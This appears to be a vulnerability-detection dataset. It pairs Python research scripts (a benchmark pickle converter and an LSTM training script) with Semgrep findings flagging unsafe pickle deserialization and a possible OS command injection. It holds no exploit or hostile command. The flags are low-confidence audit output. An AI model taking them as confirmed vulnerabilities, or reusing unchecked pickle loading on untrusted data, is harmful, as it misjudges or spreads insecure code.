[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_b957b4977221648e_efb7d785", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 80, "line_end": 80, "column_start": 5, "column_end": 56, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmp10dxl77l/b957b4977221648e.py", "start": {"line": 80, "col": 5, "offset": 2236}, "end": {"line": 80, "col": 56, "offset": 2287}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-system-call-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 80 ]
[ 80 ]
[ 5 ]
[ 56 ]
[ "A01:2017 - Injection" ]
[ "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
utils.py
/cli/metaboverse_cli/curate/utils.py
Metaboverse/Metaboverse
MIT
2024-11-18T22:02:41.487924+00:00
1,647,480,227,000
4717e6ebfebe81a3f9e986a4c85ff46dfaf434f2
2
{ "blob_id": "4717e6ebfebe81a3f9e986a4c85ff46dfaf434f2", "branch_name": "refs/heads/main", "committer_date": 1647480227000, "content_id": "a5a038784286c0c3c47d49741b11ac71c807b3d4", "detected_licenses": [ "MIT" ], "directory_id": "eb7fdb10dac05c8b41bbe19f16ec7f5e7b1ec6d6", "extension": "py", "filename": "benchmarking_pickle_conversion.py", "fork_events_count": 32, "gha_created_at": 1585909908000, "gha_event_created_at": 1676070559000, "gha_language": "Jupyter Notebook", "gha_license_id": "MIT", "github_id": 252701518, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4897, "license": "MIT", "license_type": "permissive", "path": "/benchmarks/cifar_exp/benchmarking_pickle_conversion.py", "provenance": "stack-edu-0054.json.gz:589089", "repo_name": "neurodata/ProgLearn", "revision_date": 1647480227000, "revision_id": "03ab355c10e58c41c9023996a48c39937414ec9a", "snapshot_id": "f9b96df2f60bb9caf17c2229dd996129ddd0067b", "src_encoding": "UTF-8", "star_events_count": 21, "url": "https://raw.githubusercontent.com/neurodata/ProgLearn/03ab355c10e58c41c9023996a48c39937414ec9a/benchmarks/cifar_exp/benchmarking_pickle_conversion.py", "visit_date": "2023-07-08T11:55:25.047561" }
2.46875
stackv2
#%% from itertools import product import pandas as pd import numpy as np import pickle def unpickle(file): with open(file, "rb") as fo: dict = pickle.load(fo, encoding="bytes") return dict #%% code for EWC, Online_EWC, SI, LwF algs = ["EWC", "Online_EWC", "SI", "LwF"] shift_fold = 6 total_tasks = 10 slot_fold = 10 for alg in algs: for shift in range(shift_fold): # find multitask accuracies for slot in range(slot_fold): df = pd.DataFrame() shifts = [] tasks = [] base_tasks = [] accuracies_across_tasks = [] single_task_accuracies = np.zeros(10, dtype=float) filename = ( "/data/Jayanta/final_LL_res/slot_res/" + alg + str(shift + 1) + "_" + str(slot) + ".pickle" ) accuracy = 1 - np.asarray(unpickle(filename)) for base_task in range(total_tasks): for task in range(base_task + 1): shifts.append(shift) tasks.append(task + 1) base_tasks.append(base_task + 1) accuracies_across_tasks.append(accuracy[base_task][task]) df["data_fold"] = shifts df["task"] = tasks df["base_task"] = base_tasks df["accuracy"] = accuracies_across_tasks # find single task accuracies for task in range(total_tasks): filename = ( "/data/Jayanta/final_LL_res/slot_single_task_res/" + alg + str(shift + 1) + "_" + str(slot) + "_" + str(task + 1) + ".pickle" ) single_task_accuracies[task] = 1 - np.asarray(unpickle(filename)) df_single_task = pd.DataFrame() df_single_task["task"] = range(1, 11) df_single_task["data_fold"] = shift + 1 df_single_task["accuracy"] = single_task_accuracies summary = (df, df_single_task) file_to_save = ( "benchmarking_algorthms_result/" + alg + "_" + str(shift + 1) + "_" + str(slot) + ".pickle" ) with open(file_to_save, "wb") as f: pickle.dump(summary, f) #%% code for Prog-NN, DF-CNN algs = ["Prog_NN", "DF_CNN"] shift_fold = 6 total_tasks = 10 epoch_indx = list(range(100, 1100, 100)) for alg in algs: for shift in range(shift_fold): for slot in range(slot_fold): df = pd.DataFrame() shifts = [] tasks = [] base_tasks = [] accuracies_across_tasks = [] single_task_accuracies = np.zeros(10, dtype=float) # find multitask accuracies filename = ( "/data/Jayanta/final_LL_res/slot_res/" + alg + str(shift + 1) + "_" + str(slot) + ".pickle" ) accuracy = np.asarray(unpickle(filename)) accuracy = accuracy[epoch_indx, :] for base_task in range(total_tasks): for task in range(base_task + 1): shifts.append(shift + 1) tasks.append(task + 1) base_tasks.append(base_task + 1) accuracies_across_tasks.append(accuracy[base_task, task]) df["data_fold"] = shifts df["task"] = tasks df["base_task"] = base_tasks df["accuracy"] = accuracies_across_tasks # find single task accuracies for task in range(total_tasks): filename = ( "/data/Jayanta/final_LL_res/slot_single_task_res/" + alg + str(shift + 1) + "_" + str(slot) + "_" + str(task + 1) + ".pickle" ) single_task_accuracies[task] = unpickle(filename)[99][0] df_single_task = pd.DataFrame() df_single_task["task"] = range(1, 11) df_single_task["data_fold"] = shift df_single_task["accuracy"] = single_task_accuracies summary = (df, df_single_task) file_to_save = ( "benchmarking_algorthms_result/" + alg + "_" + str(shift + 1) + "_" + str(slot) + ".pickle" ) with open(file_to_save, "wb") as f: pickle.dump(summary, f) #%%
153
31.01
81
22
1,079
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_d5f5e0314d46c659_b05c05dc", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 10, "line_end": 10, "column_start": 16, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/d5f5e0314d46c659.py", "start": {"line": 10, "col": 16, "offset": 157}, "end": {"line": 10, "col": 49, "offset": 190}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_d5f5e0314d46c659_133ffa4b", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 82, "line_end": 82, "column_start": 17, "column_end": 40, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/d5f5e0314d46c659.py", "start": {"line": 82, "col": 17, "offset": 2506}, "end": {"line": 82, "col": 40, "offset": 2529}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_d5f5e0314d46c659_406e2a5a", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 152, "line_end": 152, "column_start": 17, "column_end": 40, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/d5f5e0314d46c659.py", "start": {"line": 152, "col": 17, "offset": 4869}, "end": {"line": 152, "col": 40, "offset": 4892}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "CWE-502", "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security", "security", "security" ]
[ "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 10, 82, 152 ]
[ 10, 82, 152 ]
[ 16, 17, 17 ]
[ 49, 40, 40 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead to...
[ 5, 5, 5 ]
[ "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
benchmarking_pickle_conversion.py
/benchmarks/cifar_exp/benchmarking_pickle_conversion.py
neurodata/ProgLearn
MIT
2024-11-18T22:02:45.973527+00:00
1,598,708,420,000
2a871cd88624c5b59b17e4c7d5ba0e577a0b25fc
3
{ "blob_id": "2a871cd88624c5b59b17e4c7d5ba0e577a0b25fc", "branch_name": "refs/heads/master", "committer_date": 1598708420000, "content_id": "d0a07b16e5c31d5c8b70e2ec2c27e02529c6d90b", "detected_licenses": [ "MIT" ], "directory_id": "ba0d42eeef710606c4a8637224ed5e3d40eadfbf", "extension": "py", "filename": "tf_lstm.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 274951674, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5724, "license": "MIT", "license_type": "permissive", "path": "/nn/tf_lstm.py", "provenance": "stack-edu-0054.json.gz:589145", "repo_name": "yzheng51/tencent-2020", "revision_date": 1598708420000, "revision_id": "7a5256403d103d23720295b7ea3c5f68d368829c", "snapshot_id": "0734576dbeb48e4ff247d2ba008953606deef1b4", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/yzheng51/tencent-2020/7a5256403d103d23720295b7ea3c5f68d368829c/nn/tf_lstm.py", "visit_date": "2022-12-09T18:24:09.565362" }
2.5625
stackv2
import time import pickle import numpy as np import pandas as pd import torch import torch.nn as nn import tensorflow as tf from nn.net import TransformerLSTMSingleId from nn.dataset import SingleIdTrainDataset # -------------------------------------------------------------------------------------------------- # constant and hyper parameters USER_FILE = 'data/train_preliminary/user.csv' ID_EMBED = 'data/embed/ad_id.npy' CORPUS_FILE = 'data/corpus/ad_id.pkl' n_out = 10 n_embed = 128 n_lstm_hid = 128 n_lstm_layer = 2 n_tf_hid = 512 n_tf_layer = 2 n_tf_head = 4 lstm_dropout = 0 lstm_bidirect = True tf_dropout = 0.1 np.random.seed(20) torch.manual_seed(20) max_len = 85 batch_size = 250 lr = 0.0002 epochs = 20 device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') print(f'Training with {device}') # -------------------------------------------------------------------------------------------------- # load data, embedding, feature user = pd.read_csv(USER_FILE) with open(CORPUS_FILE, 'rb') as f: corpus = pickle.load(f) id_embed = np.load(ID_EMBED) id_embed = torch.FloatTensor(id_embed) train = corpus[:900000] features = tf.keras.preprocessing.sequence.pad_sequences(train, maxlen=max_len, value=0) encoded_labels = user.age.values - 1 # -------------------------------------------------------------------------------------------------- # split dataset split_frac = 0.8 # split data into training, validation, and test data (features and labels, x and y) split_idx = int(features.shape[0] * split_frac) train_x, remaining_x = features[:split_idx], features[split_idx:] train_y, remaining_y = encoded_labels[:split_idx], encoded_labels[split_idx:] test_idx = int(len(remaining_x) * 0.5) val_x, test_x = remaining_x[:test_idx], remaining_x[test_idx:] val_y, test_y = remaining_y[:test_idx], remaining_y[test_idx:] # print out the shapes of your resultant feature data print("\t\t\tFeature Shapes:") print( "Train set: \t\t{}".format(train_x.shape), "\nValidation set: \t{}".format(val_x.shape), "\nTest set: \t\t{}".format(test_x.shape) ) # create Tensor datasets train_data = SingleIdTrainDataset(train_x, train_y) valid_data = SingleIdTrainDataset(val_x, val_y) test_data = SingleIdTrainDataset(test_x, test_y) # make sure the SHUFFLE your training data train_loader = torch.utils.data.DataLoader( train_data, shuffle=True, drop_last=True, batch_size=batch_size ) valid_loader = torch.utils.data.DataLoader( valid_data, shuffle=False, drop_last=True, batch_size=batch_size ) test_loader = torch.utils.data.DataLoader( test_data, shuffle=False, drop_last=True, batch_size=batch_size ) # obtain one batch of training data dataiter = iter(train_loader) sample_x, sample_y = dataiter.next() print('Sample input creative_id size: ', sample_x.size()) # batch_size, seq_length print('Sample input creative_id: \n', sample_x) print() print('Sample label size: ', sample_y.size()) # batch_size print('Sample label: \n', sample_y) # -------------------------------------------------------------------------------------------------- # initialize model and optimizer net = TransformerLSTMSingleId( n_out=n_out, n_embed=n_embed, n_lstm_hid=n_lstm_hid, n_lstm_layer=n_lstm_layer, n_tf_hid=n_tf_hid, n_tf_layer=n_tf_layer, n_tf_head=n_tf_head, id_embed=id_embed, lstm_dropout=lstm_dropout, lstm_bidirect=lstm_bidirect, tf_dropout=tf_dropout ) print(net) # mincount 3 window 50, iter 5 ad net.to(device) step_size = len(train_loader) # initialise loss function and optimizer criterion = nn.CrossEntropyLoss() optimizer = torch.optim.Adam(net.parameters(), lr=lr) # -------------------------------------------------------------------------------------------------- # train for e in range(epochs): start = time.perf_counter() # batch loop train_losses = list() num_correct = 0 for x, labels in train_loader: x, labels = x.to(device), labels.to(device) output = net(x) loss = criterion(output, labels) train_losses.append(loss.item()) optimizer.zero_grad() loss.backward() optimizer.step() num_correct += torch.sum(output.argmax(axis=1) == labels).item() train_acc = num_correct / len(train_loader.dataset) val_losses = list() num_correct = 0 net.eval() with torch.no_grad(): for x, labels in valid_loader: x, labels = x.to(device), labels.to(device) output = net(x) val_loss = criterion(output, labels) val_losses.append(val_loss.item()) num_correct += torch.sum(output.argmax(axis=1) == labels).item() val_losses = np.mean(val_losses) valid_acc = num_correct / len(valid_loader.dataset) duration = time.perf_counter() - start print( "Epoch: {}/{}...".format(e + 1, epochs), "Train acc: {:.6f}...".format(train_acc), "Loss: {:.6f}...".format(np.mean(train_losses)), "Val acc: {:.6f}...".format(valid_acc), "Val Loss: {:.6f}...".format(val_losses), f"Elapse time: {duration:.2f}s" ) net.train() # -------------------------------------------------------------------------------------------------- # test test_losses = list() num_correct = 0 net.eval() with torch.no_grad(): for x, labels in test_loader: x, labels = x.to(device), labels.to(device) output = net(x) # calculate loss test_loss = criterion(output, labels) test_losses.append(test_loss.item()) num_correct += torch.sum(output.argmax(axis=1) == labels).item() test_acc = num_correct / len(test_loader.dataset) print("Test loss: {:.3f}".format(np.mean(test_losses))) print("Test accuracy: {:.3f}".format(test_acc))
183
30.28
100
18
1,372
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_14661fee6bdc4cac_5209df22", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 45, "line_end": 45, "column_start": 14, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/14661fee6bdc4cac.py", "start": {"line": 45, "col": 14, "offset": 1037}, "end": {"line": 45, "col": 28, "offset": 1051}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 45 ]
[ 45 ]
[ 14 ]
[ 28 ]
[ "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
tf_lstm.py
/nn/tf_lstm.py
yzheng51/tencent-2020
MIT